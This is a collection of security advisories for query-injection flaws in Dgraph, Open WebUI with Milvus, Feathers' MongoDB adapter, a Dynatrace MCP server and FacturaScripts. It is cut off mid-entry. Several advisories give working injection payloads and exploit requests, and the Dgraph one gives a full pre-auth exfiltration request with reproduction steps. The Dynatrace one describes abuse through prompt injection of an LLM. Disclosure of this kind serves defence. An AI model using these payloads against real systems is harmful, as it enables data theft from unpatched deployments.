{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/dgraph-io/dgraph/v25"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "25.3.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/dgraph-io/dgraph/v24"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "24.1.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/dgraph-io/dgraph"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "1.2.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-41327"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-943"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-24T15:41:21Z",
    "nvd_published_at": "2026-04-24T19:17:12Z",
    "severity": "CRITICAL"
  },
  "details": "## 1. Executive Summary\n\nA vulnerability has been found in Dgraph that gives an unauthenticated attacker full read access to every piece of data in the database. This affects Dgraph\u0027s default configuration where ACL is not enabled.\n\nThe attack is a single HTTP POST to `/mutate?commitNow=true` containing a crafted `cond` field in an upsert mutation. The `cond` value is concatenated directly into a DQL query string via `strings.Builder.WriteString` after only a cosmetic `strings.Replace` transformation. No escaping, parameterization, or structural validation is applied. An attacker injects an additional DQL query block into the `cond` string, which the DQL parser accepts as a syntactically valid named query block. The injected query executes server-side and its results are returned in the HTTP response.\n\nThere are no credentials involved. When ACL is disabled (the default), the `/mutate` endpoint requires no authentication. The `authorizeQuery` and `authorizeMutation` functions both return `nil` immediately when `AclSecretKey` is not configured. Even when ACL is enabled, a user with mutation-only permission can inject read queries that bypass per-predicate ACL authorization, because the injected query block is not subject to the normal authorization flow.\n\nPOC clip: \n\nhttps://github.com/user-attachments/assets/edf43615-b0d5-46cd-abd9-2cb9423790d2\n\n\n\n## 2. CVSS Score\n\n**CVSS 3.1: 9.1 (Critical)**\n\n```\nCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N\n```\n\n| Metric              | Value     | Rationale                                                                          |\n| ------------------- | --------- | ---------------------------------------------------------------------------------- |\n| Attack Vector       | Network   | HTTP POST to port 8080                                                             |\n| Attack Complexity   | Low       | Single request, no special conditions beyond default config                        |\n| Privileges Required | None      | No authentication when ACL is disabled (default)                                   |\n| User Interaction    | None      | Fully automated                                                                    |\n| Scope               | Unchanged | Stays within the Dgraph data layer                                                 |\n| Confidentiality     | High      | Full database exfiltration: all nodes, all predicates, all values                  |\n| Integrity           | High      | The injection can also be used to manipulate upsert conditions, bypassing uniqueness constraints and conditional mutation logic |\n| Availability        | None      | No denial of service                                                               |\n\n## 3. Vulnerability Summary\n\n| Field     | Value                                                                                      |\n| --------- | ------------------------------------------------------------------------------------------ |\n| Title     | Pre-Auth DQL Injection via Unsanitized Cond Field in Upsert Mutations                      |\n| Type      | Injection                                                                                  |\n| CWE       | CWE-943 (Improper Neutralization of Special Elements in Data Query Logic)                  |\n| CVSS      | 9.8                                                                                        |\n\n## 4. Target Information\n\n| Field                | Value                                                                                          |\n| -------------------- | ---------------------------------------------------------------------------------------------- |\n| Project              | Dgraph                                                                                         |\n| Repository           | https://github.com/dgraph-io/dgraph                                                           |\n| Tested version       | v25.3.0                                                                                        |\n| HTTP handler         | `dgraph/cmd/alpha/http.go` line 345 (`mutationHandler`)                                       |\n| Cond extraction      | `dgraph/cmd/alpha/http.go` line 413 (`strconv.Unquote`)                                       |\n| Cond passthrough     | `edgraph/server.go` line 2011 (`ParseMutationObject`, copies `mu.Cond` verbatim)              |\n| Injection sink       | `edgraph/server.go` line 750 (`upsertQB.WriteString(cond)`)                                   |\n| Only transformation  | `edgraph/server.go` line 730 (`strings.Replace(gmu.Cond, \"@if\", \"@filter\", 1)`)               |\n| Auth bypass (query)  | `edgraph/access.go` line 958 (`authorizeQuery` returns nil when `AclSecretKey == nil`)         |\n| Auth bypass (mutate) | `edgraph/access.go` line 788 (`authorizeMutation` returns nil when `AclSecretKey == nil`)      |\n| Response exfiltration| `dgraph/cmd/alpha/http.go` line 498 (`mp[\"queries\"] = json.RawMessage(resp.Json)`)            |\n| HTTP port            | 8080 (default)                                                                                 |\n| Prerequisite         | None. Default configuration. ACL disabled is the default.                                      |\n\n## 5. Test Environment\n\n| Component            | Version / Details                                               |\n| -------------------- | --------------------------------------------------------------- |\n| Host OS              | macOS (darwin 25.3.0)                                           |\n| Dgraph               | v25.3.0 via `dgraph/dgraph:latest` Docker image                |\n| Docker Compose       | 1 Zero + 1 Alpha, default config, `--security whitelist=0.0.0.0/0` |\n| Python               | 3.x with `requests`                                            |\n| Network              | localhost (127.0.0.1)                                           |\n\n## 6. Vulnerability Detail\n\n**Location:** `edgraph/server.go` lines 714-757 (`buildUpsertQuery`)\n**CWE:** CWE-943 (Improper Neutralization of Special Elements in Data Query Logic)\n\nThe `/mutate` endpoint accepts JSON bodies containing a `mutations` array. Each mutation can include a `cond` field, intended for conditional upserts with syntax like `@if(eq(name, \"Alice\"))`. This condition is supposed to be spliced into the DQL query as a `@filter` clause on a dummy `var(func: uid(0))` block.\n\nThe handler at `http.go:413` extracts the `cond` value via `strconv.Unquote`, which interprets `\\n` as actual newlines but performs no sanitization:\n\n```go\nmu.Cond, err = strconv.Unquote(string(condText.bs))\n```\n\n`ParseMutationObject` at `server.go:2011` copies it verbatim:\n\n```go\nres := \u0026dql.Mutation{Cond: mu.Cond}\n```\n\n`buildUpsertQuery` at `server.go:730` applies one cosmetic replacement then concatenates the raw string directly into the DQL query:\n\n```go\ncond := strings.Replace(gmu.Cond, \"@if\", \"@filter\", 1)\n// ...\nx.Check2(upsertQB.WriteString(cond))\n```\n\nThere is no escaping, no parameterization, no structural validation, and no character allowlist between the HTTP input and the query string concatenation.\n\nAn attacker crafts a `cond` value that closes the `@filter(...)` clause and opens an entirely new named query block:\n\n```\n@if(eq(name, \"nonexistent\"))\n  leak(func: has(dgraph.type)) { uid name email secret }\n```\n\nAfter `buildUpsertQuery` processes this, the resulting DQL is:\n\n```dql\n{\n  q(func: uid(0x1)) { uid }\n  __dgraph_upsertcheck_0__ as var(func: uid(0)) @filter(eq(name, \"nonexistent\"))\n  leak(func: has(dgraph.type)) { uid name email secret }\n}\n```\n\nThe DQL parser (`dql.ParseWithNeedVars`) accepts multiple query blocks within a single `{}` container. It parses `leak(...)` as a legitimate named query. The `validateResult` function at `parser.go:740` only checks for duplicate aliases and explicitly skips `var` queries. The injected query uses a unique alias, so validation passes.\n\nAll three queries execute. The results of the injected `leak` block are serialized to JSON and returned to the attacker at `http.go:498`:\n\n```go\nmp[\"queries\"] = json.RawMessage(resp.Json)\n```\n\nThe `@if` condition evaluates to false (`\"nonexistent\"` matches nothing), so the `set` mutation never actually writes data. The attack is a pure read disguised as a mutation. No data is modified.\n\n## 7. Full Chain Explanation\n\nThe attacker has no Dgraph credentials and no prior access to the server.\n\n**Step 1.** The attacker sends one HTTP request:\n\n```\nPOST /mutate?commitNow=true HTTP/1.1\nHost: TARGET:8080\nContent-Type: application/json\n\n{\n  \"query\": \"{ q(func: uid(0x1)) { uid } }\",\n  \"mutations\": [{\n    \"set\": [{\"uid\": \"0x1\", \"dgraph.type\": \"Dummy\"}],\n    \"cond\": \"@if(eq(name, \\\"nonexistent\\\"))\\n  leak(func: has(dgraph.type)) { uid dgraph.type name email secret aws_access_key_id aws_secret_access_key gcp_service_account_key }\"\n  }]\n}\n```\n\nNo `X-Dgraph-AccessToken` header. No `X-Dgraph-AuthToken` header. The `/mutate` endpoint has no authentication wrapper in default configuration.\n\n**Step 2.** `mutationHandler` at `http.go:345` calls `readRequest` to get the body, then `extractMutation` which calls `strconv.Unquote` on the `cond` field. The `\\n` becomes a real newline. The result is stored in `api.Mutation.Cond`.\n\n**Step 3.** The request enters `edgraph.Server.QueryNoGrpc` at `http.go:471`, which calls `doQuery` -\u003e `parseRequest` -\u003e `ParseMutationObject`. The `Cond` is copied verbatim to `dql.Mutation.Cond` at `server.go:2011`.\n\n**Step 4.** `buildUpsertQuery` at `server.go:714` processes the condition. The only transformation is `strings.Replace(gmu.Cond, \"@if\", \"@filter\", 1)` at line 730. The full string, including the injected `leak(...)` block, is written into the query builder at line 750.\n\n**Step 5.** `dql.ParseWithNeedVars` parses the constructed DQL string. It encounters three query blocks: `q`, the upsert check `var`, and the injected `leak`. All three are accepted as valid DQL.\n\n**Step 6.** `authorizeQuery` at `access.go:958` returns `nil` immediately because `AclSecretKey == nil` (ACL not configured). No predicate-level authorization is performed.\n\n**Step 7.** `processQuery` executes all three query blocks. The `leak` block traverses every node with a `dgraph.type` predicate and returns all requested fields.\n\n**Step 8.** The response is returned to the attacker at `http.go:498`. The `data.queries.leak` array contains every matching node with all their predicates, including secrets, credentials, and PII.\n\n## 8. Proof of Concept\n\n### Files\n\n| File                    | Purpose                                                    |\n| ----------------------- | ---------------------------------------------------------- |\n| report.md               | This vulnerability report                                  |\n| poc.py                  | Exploit: sends the injection and prints leaked data        |\n| docker-compose.yml      | Spins up a Dgraph cluster (1 Zero + 1 Alpha, default config) |\n| DGraphPreAuthDQL.mp4    | Screen recording of the full attack from start to exfiltration |\n\nPOC files zip:\n[LEAD_001_DQL.zip](https://github.com/user-attachments/files/25996009/LEAD_001_DQL.zip)\n\n\n### poc.py\n\nThe exploit sends a single POST to `/mutate?commitNow=true` with the crafted `cond` field. It parses the response and prints all exfiltrated records, highlighting secrets, AWS credentials, and GCP service account keys.\n\n### Tested Output\n\n```\n$ python3 poc.py\n[*] Sending crafted upsert mutation with DQL injection in cond field \u2026\n[*] HTTP 200\n[+] SUCCESS \u2014 Injected query returned 5 node(s):\n\n  [User] uid=0x1\n    name: Alice Admin\n    email: alice@corp.com\n    secret: SSN-123-45-6789\n    role: admin\n\n  [User] uid=0x2\n    name: Bob User\n    email: bob@corp.com\n    secret: SSN-987-65-4321\n    role: user\n\n  [User] uid=0x3\n    name: Eve Secret\n    email: eve@corp.com\n    secret: API_KEY_sk-live-abc123xyz\n    role: superadmin\n\n  [CloudCredential] uid=0x4\n    name: prod-aws-credentials\n    AWS_ACCESS_KEY_ID: AKIAIOSFODNN7EXAMPLE\n    AWS_SECRET_ACCESS_KEY: wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\n\n  [CloudCredential] uid=0x5\n    name: gcp-bigquery-service-account\n    GCP_SERVICE_ACCOUNT_KEY: {\"type\":\"service_account\",\"project_id\":\"prod-analytics\",\"private_key\":\"-----BEGI\u2026\n\n[+] CRITICAL \u2014 Exfiltrated 5 record(s) containing secrets via pre-auth DQL injection\n    \u2192 1 AWS credential(s) \u2014 attacker can access AWS account\n    \u2192 1 GCP service account key(s) \u2014 attacker can access GCP project\n```\n\n## 9. Steps to Reproduce\n\n### Prerequisites\n\n- Python 3 with `requests` (`pip install requests`)\n- Docker and Docker Compose\n\n### Step 1: Start Dgraph\n\n```bash\ncd report\ndocker compose -f docker-compose-test.yml up -d\n```\n\nWait for health:\n\n```bash\ncurl http://localhost:8080/health\n```\n\n### Step 2: Seed test data\n\n```bash\ncurl -s -X POST http://localhost:8080/alter -d \u0027\nname: string @index(exact) .\nemail: string @index(exact) .\nsecret: string .\nrole: string .\naws_access_key_id: string .\naws_secret_access_key: string .\ngcp_service_account_key: string .\n\u0027\n\ncurl -s -X POST \u0027http://localhost:8080/mutate?commitNow=true\u0027 \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  -d \u0027{\"set\":[\n    {\"dgraph.type\":\"User\",\"name\":\"Alice Admin\",\"email\":\"alice@corp.com\",\"secret\":\"SSN-123-45-6789\",\"role\":\"admin\"},\n    {\"dgraph.type\":\"User\",\"name\":\"Bob User\",\"email\":\"bob@corp.com\",\"secret\":\"SSN-987-65-4321\",\"role\":\"user\"},\n    {\"dgraph.type\":\"User\",\"name\":\"Eve Secret\",\"email\":\"eve@corp.com\",\"secret\":\"API_KEY_sk-live-abc123xyz\",\"role\":\"superadmin\"},\n    {\"dgraph.type\":\"CloudCredential\",\"name\":\"prod-aws-credentials\",\"aws_access_key_id\":\"AKIAIOSFODNN7EXAMPLE\",\"aws_secret_access_key\":\"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\"},\n    {\"dgraph.type\":\"CloudCredential\",\"name\":\"gcp-bigquery-service-account\",\"gcp_service_account_key\":\"{\\\"type\\\":\\\"service_account\\\",\\\"project_id\\\":\\\"prod-analytics\\\",\\\"private_key\\\":\\\"-----BEGIN RSA PRIVATE KEY-----\\\\nEXAMPLEKEY\\\\n-----END RSA PRIVATE KEY-----\\\",\\\"client_email\\\":\\\"bigquery@prod-analytics.iam.gserviceaccount.com\\\"}\"}\n  ]}\u0027\n```\n\n### Step 3: Run the exploit\n\n```bash\ncd LEAD_001_DQL\npython3 poc.py\n```\n\n### What to verify\n\n1. HTTP POST returns 200 (endpoint is reachable without auth)\n2. Response contains `data.queries.leak` with an array of nodes\n3. The nodes include fields the attacker never queried through legitimate means (secrets, AWS keys, GCP keys)\n4. No data was modified in the database (the `@if` condition prevents the `set` from executing)\n\n## 10. Mitigations and Patch\n\n**Location:** `edgraph/server.go`, `buildUpsertQuery` (line 714)\n\nInstead of concatenating the raw `cond` string into the DQL query, `buildUpsertQuery` should parse the `cond` value with the DQL lexer and construct the `@filter` as a parsed AST subtree. This eliminates the injection surface entirely because the filter is built programmatically rather than spliced in as a raw string. The existing `strings.Replace(gmu.Cond, \"@if\", \"@filter\", 1)` at line 730 is a semantic transformation, not a security control, and should not be relied upon for sanitization.",
  "id": "GHSA-mrxx-39g5-ph77",
  "modified": "2026-05-04T20:08:33Z",
  "published": "2026-04-24T15:41:21Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/dgraph-io/dgraph/security/advisories/GHSA-mrxx-39g5-ph77"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41327"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/dgraph-io/dgraph"
    },
    {
      "type": "WEB",
      "url": "https://github.com/dgraph-io/dgraph/releases/tag/v25.3.3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Dgraph: Pre-Auth Full Database Exfiltration via DQL Injection in Upsert Condition Field"
}

{
  "affected": [],
  "aliases": [
    "CVE-2025-36366"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-943"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-01-30T22:15:54Z",
    "severity": "MODERATE"
  },
  "details": "IBM Db2 for Linux, UNIX and Windows (includes Db2 Connect Server) 11.5.0 - 11.5.9 and 12.1.0 - 12.1.3 could allow a local user to cause a denial of service due to improper neutralization of special elements in data query logic.",
  "id": "GHSA-mvh2-wmr8-q886",
  "modified": "2026-01-31T00:30:28Z",
  "published": "2026-01-31T00:30:28Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-36366"
    },
    {
      "type": "WEB",
      "url": "https://www.ibm.com/support/pages/node/7257681"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.9.5"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "open-webui"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.9.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-54019"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862",
      "CWE-943"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-17T17:57:43Z",
    "nvd_published_at": "2026-06-23T18:18:07Z",
    "severity": "MODERATE"
  },
  "details": "# RAG ACL Bypass in Milvus Multitenancy Mode\n\n## Summary\n\nThis is a bypass of the fix for:\n\n- GHSA-h36f-rqpx-j5wx\n- CVE-2026-44560\n- \"Unauthorized File and Knowledge Base Content Access via RAG Vector Search\"\n\nOpen WebUI added collection-level ACL checks, but the patch can still be bypassed when Milvus multitenancy mode is enabled. The ACL allows unknown non-KB collection names as legacy/ephemeral collections. In Milvus multitenancy mode, that user-controlled collection name becomes a `resource_id` and is interpolated into a Milvus expression without escaping.\n\nAn authenticated non-admin user can query:\n\n```text\nx\u0027 or resource_id != \u0027\u0027 or resource_id == \u0027x\n```\n\nThis passes the Open WebUI ACL as an unknown collection, but Milvus evaluates:\n\n```text\nresource_id == \u0027x\u0027 or resource_id != \u0027\u0027 or resource_id == \u0027x\u0027\n```\n\nThat returns private knowledge-base chunks belonging to other users.\n\n## Affected Configuration\n\nTested on:\n\n```text\nOpen WebUI: v0.9.5, commit 3660bc00f\nVECTOR_DB=milvus\nENABLE_MILVUS_MULTITENANCY_MODE=true\n```\n\nThis is **not a default-vector-store issue**. It affects **production deployments using Milvus multitenancy.**\n\n## Impact\n\nAn authenticated low-privilege user can read private RAG / knowledge-base content they do not have access to. No victim interaction is required.\n\n## Root Cause\n\nACL permits unknown collection names:\n\n```python\n# backend/open_webui/retrieval/utils.py\nelif not await Knowledges.get_knowledge_by_id(name):\n    validated.add(name)\n```\n\nMilvus multitenancy then treats the same name as `resource_id` and builds unsafe expressions:\n\n```python\n# backend/open_webui/retrieval/vector/dbs/milvus_multitenancy.py\nexpr=f\"{RESOURCE_ID_FIELD} == \u0027{resource_id}\u0027\"\n```\n\nAffected paths include:\n\n```text\nPOST /api/v1/retrieval/query/collection\nPOST /api/v1/retrieval/query/doc\n```\n\n## PoC\n\nRequest:\n\n```bash\ncurl -s -X POST \"$TARGET/api/v1/retrieval/query/collection\" \\\n  -H \"Authorization: Bearer $ATTACKER_TOKEN\" \\\n  -H \"Content-Type: application/json\" \\\n  --data-binary @- \u003c\u003c\u0027JSON\u0027\n{\n  \"collection_names\": [\n    \"x\u0027 or resource_id != \u0027\u0027 or resource_id == \u0027x\"\n  ],\n  \"query\": \"anything\",\n  \"k\": 10,\n  \"hybrid\": false\n}\nJSON\n```\n\nActual result: private chunks from other users\u0027 knowledge collections are returned.\n\nExpected result: request should be rejected with 403 or return no unauthorized content.\n\n## Remediation\n\n1. Do not allow arbitrary unknown collection names in user-controlled RAG query endpoints.\n2. Escape or parameterize Milvus expression values before building filters.\n3. Reject collection names containing quotes/control characters unless they match a known internal format.\n4. Add a regression test for this payload in Milvus multitenancy mode:\n\n```text\nx\u0027 or resource_id != \u0027\u0027 or resource_id == \u0027x\n```",
  "id": "GHSA-p5cp-r7rg-qpxc",
  "modified": "2026-07-20T21:08:21Z",
  "published": "2026-06-17T17:57:43Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-p5cp-r7rg-qpxc"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54019"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-p5cp-r7rg-qpxc"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/open-webui/open-webui"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/open-webui/PYSEC-2026-2750.yaml"
    },
    {
      "type": "WEB",
      "url": "https://pypi.org/project/open-webui"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Open WebUI: RAG ACL Bypass in Milvus Multitenancy Mode"
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 5.0.41"
      },
      "package": {
        "ecosystem": "npm",
        "name": "@feathersjs/mongodb"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.0.0"
            },
            {
              "fixed": "5.0.42"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-29793"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-943"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-10T21:03:40Z",
    "nvd_published_at": "2026-03-10T20:16:39Z",
    "severity": "CRITICAL"
  },
  "details": "Socket.IO clients can send arbitrary JavaScript objects as the id argument to any service method (get, patch, update, remove). The transport layer performs no type checking on this argument. When the service uses the MongoDB adapter, these objects pass through getObjectId() and land directly in the MongoDB query as operators. Sending {$ne: null} as the id matches every document in the collection.",
  "id": "GHSA-p9xr-7p9p-gpqx",
  "modified": "2026-03-10T22:55:42Z",
  "published": "2026-03-10T21:03:40Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/feathersjs/feathers/security/advisories/GHSA-p9xr-7p9p-gpqx"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-29793"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/feathersjs/feathers"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Feathers has a NoSQL Injection via WebSocket id Parameter in MongoDB Adapter"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@dynatrace-oss/dynatrace-mcp-server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.1.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-943"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-31T15:56:12Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\nA DQL injection vulnerability in several read tools lets a caller bypass the tools\u0027 documented field-scope, time-window, and display caps by injecting DQL pipeline stages through parameters typed as identifiers.\n\n### Details\nSeveral tools interpolate caller-supplied parameters directly into DQL query strings without quoting or escaping. The affected parameters are documented in their Zod schemas as identifiers or constrained shorthand (such as `\"24h\"` timeframe values or Kubernetes UIDs) - not as DQL expressions. The interpolation lets a caller break out of string literals, append arbitrary DQL pipeline stages, and use `//` line comments (documented in the [Dynatrace DQL language reference](https://docs.dynatrace.com/docs/discover-dynatrace/platform/grail/dynatrace-query-language/dql-reference)) to discard the rest of the intended query.\n\nThe marginal-privilege ceiling is low because the operator\u0027s token also exposes `execute_dql` with full DQL access. What the injection grants is the ability to bypass the affected tools\u0027 contract: the `readOnlyHint: true` annotation that MCP clients may treat as a signal to auto-approve, the per-tool field selection (e.g., `| fields id, name, type`), the display caps (`maxProblemsToDisplay`, `maxVulnerabilitiesToDisplay`, `maxEntitiesToDisplay`), and the time-window bounds.\n\nThe vulnerable interpolations are:\n\n| File | Line | Parameter | Interpolation |\n|------|------|-----------|---------------|\n| `src/capabilities/find-monitored-entity-by-name.ts` | 23 | `entityNames[]` | `` `fetch ${entityType} \\| search \"*${entityNames.join(\u0027*\" OR \"*\u0027)}*\" \\| fieldsAdd entity.type \\| expand tags` `` |\n| `src/capabilities/find-monitored-entity-by-name.ts` | 41 | `entityNames[]` | `` `smartscapeNodes \"*\" \\| search \"*${entityNames.join(\u0027*\" OR \"*\u0027)}*\" \\| fields id, name, type` `` |\n| `src/capabilities/list-problems.ts` | 27 | `timeframe` | `` `fetch dt.davis.problems, from: now()-${timeframe}, to: now()` `` |\n| `src/capabilities/list-vulnerabilities.ts` | 19 | `timeframe` | `` `fetch security.events, from: now()-${timeframe}, to: now()` `` |\n| `src/capabilities/list-exceptions.ts` | 11 | `timeframe` | `` `fetch user.events, from: now()-${timeframe}, to: now()` `` |\n| `src/capabilities/get-events-for-cluster.ts` | 20 | `timeframe` | `` `fetch events, from: now()-${timeframe}, to: now()` `` |\n| `src/capabilities/get-events-for-cluster.ts` | 27 | `clusterId`, `kubernetesEntityId` | `` `\\| filter k8s.cluster.uid == \"${clusterId}\" or dt.entity.kubernetes_cluster == \"${kubernetesEntityId}\"` `` |\n\nAll Zod schemas for these parameters use `z.string()` or `z.array(z.string())` with no pattern validation.\n\n### PoC\n**`clusterId` - quote-and-comment break-out.** With `clusterId = \u0027x\" or 1==1 //\u0027` the constructed query becomes:\n\n```\n| filter k8s.cluster.uid == \"x\" or 1==1 //\" or dt.entity.kubernetes_cluster == \"\"\n```\n\nThe first `\"` closes the string literal, `or 1==1` neutralises the filter to match every row, and `//` discards the rest of the line including the `kubernetesEntityId` guard.\n\n**`entityNames` - pipeline-stage injection.** With `entityNames = [\u0027svc\" | fields id, name, tags //\u0027]` the constructed smartscape query becomes:\n\n```\nsmartscapeNodes \"*\" | search \"*svc\" | fields id, name, tags //*\" | fields id, name, type\n```\n\nAfter the `//` line comment, the effective query is `smartscapeNodes \"*\" | search \"*svc\" | fields id, name, tags`. The original `| fields id, name, type` stage is suppressed and replaced with the attacker\u0027s field selection - the tool returns whatever field set the attacker requests (including ones not in the tool\u0027s documented output contract).\n\n**`timeframe` - prefix injection.** With `timeframe = \u002730d, to: now() | fieldsAdd internal_secret //\u0027` the list-problems query becomes:\n\n```\nfetch dt.davis.problems, from: now()-30d, to: now() | fieldsAdd internal_secret //, to: now()\n| filter isNull(dt.davis.is_duplicate) OR not(dt.davis.is_duplicate)\n...\n```\n\nA new pipeline stage is injected before the tool\u0027s intended `| filter`, and the rest of the query is commented out.\n\nThe server\u0027s own `verify_dql` tool can be used to confirm any specific injection payload parses as valid DQL.\n\n### Impact\n- A caller (typically via prompt injection of an LLM that has access to the affected tools) can bypass the tools\u0027 field-scope, time-window, and display caps.\n- The affected tools are annotated `readOnlyHint: true`, which some MCP clients treat as a signal to auto-approve. The injection turns a \"safe\" read tool into an arbitrary-DQL surface.\n- No new data access beyond what `execute_dql` already provides - the marginal impact is the auto-approval pathway and the broken tool contract, not privilege escalation.",
  "id": "GHSA-pqh8-p93p-2rx7",
  "modified": "2026-07-31T15:56:12Z",
  "published": "2026-07-31T15:56:12Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/dynatrace-oss/dynatrace-mcp/security/advisories/GHSA-pqh8-p93p-2rx7"
    },
    {
      "type": "WEB",
      "url": "https://github.com/dynatrace-oss/dynatrace-mcp/pull/562"
    },
    {
      "type": "WEB",
      "url": "https://github.com/dynatrace-oss/dynatrace-mcp/commit/15d3546c0618ffbaeaeca477337e08e92f2151bc"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/dynatrace-oss/dynatrace-mcp"
    },
    {
      "type": "WEB",
      "url": "https://github.com/dynatrace-oss/dynatrace-mcp/releases/tag/v2.1.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "@dynatrace-oss/dynatrace-mcp-server has a DQL injection via parameters not documented as DQL"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "facturascripts/facturascripts"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2025.81"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-25514"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-20",
      "CWE-89",
      "CWE-943"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-03T18:17:24Z",
    "nvd_published_at": "2026-02-04T20:16:08Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n**FacturaScripts contains a critical SQL Injection vulnerability in the autocomplete functionality** that allows authenticated attackers to extract sensitive data from the database including user credentials, configuration settings, and all stored business data. The vulnerability exists in the `CodeModel::all()` method where user-supplied parameters are directly concatenated into SQL queries without sanitization or parameterized binding.\n\n---\n\n### Details\n\nMultiple controllers in FacturaScripts, including `CopyModel`, `ListController`, and `PanelController`, implement an autocomplete action that processes user input through the `CodeModel::search()` or `CodeModel::all()` methods. These methods construct SQL queries by directly concatenating user-controlled parameters without any validation or escaping.\n\n#### Vulnerable Code Location\n\n**File:** `/Core/Model/CodeModel.php`\n**Method:** `all()`\n**Lines:** 108-109\n\n```php\npublic static function all(string $tableName, string $fieldCode, string $fieldDescription, bool $addEmpty = true, array $where = []): array\n{\n    // ......\n\n    // VULNERABLE CODE:\n    $sql = \u0027SELECT DISTINCT \u0027 . $fieldCode . \u0027 AS code, \u0027 . $fieldDescription . \u0027 AS description \u0027\n        . \u0027FROM \u0027 . $tableName . Where::multiSqlLegacy($where) . \u0027 ORDER BY 2 ASC\u0027;\n    foreach (self::db()-\u003eselectLimit($sql, self::getLimit()) as $row) {\n        $result[] = new static($row);\n    }\n\n    return $result;\n}\n```\n\n#### Vulnerable Parameters\n\nThe following parameters are vulnerable to SQL Injection:\n\n1. **`source`** \u2192 Maps to `$tableName` - Table name injection\n2. **`fieldcode`** \u2192 Maps to `$fieldCode` - Column name injection\n3. **`fieldtitle`** \u2192 Maps to `$fieldDescription` - Column name injection (Primary attack vector)\n\n#### Attack Flow\n\n1. Attacker authenticates with valid credentials (any user role)\n2. Attacker sends POST request to `/CopyModel` with 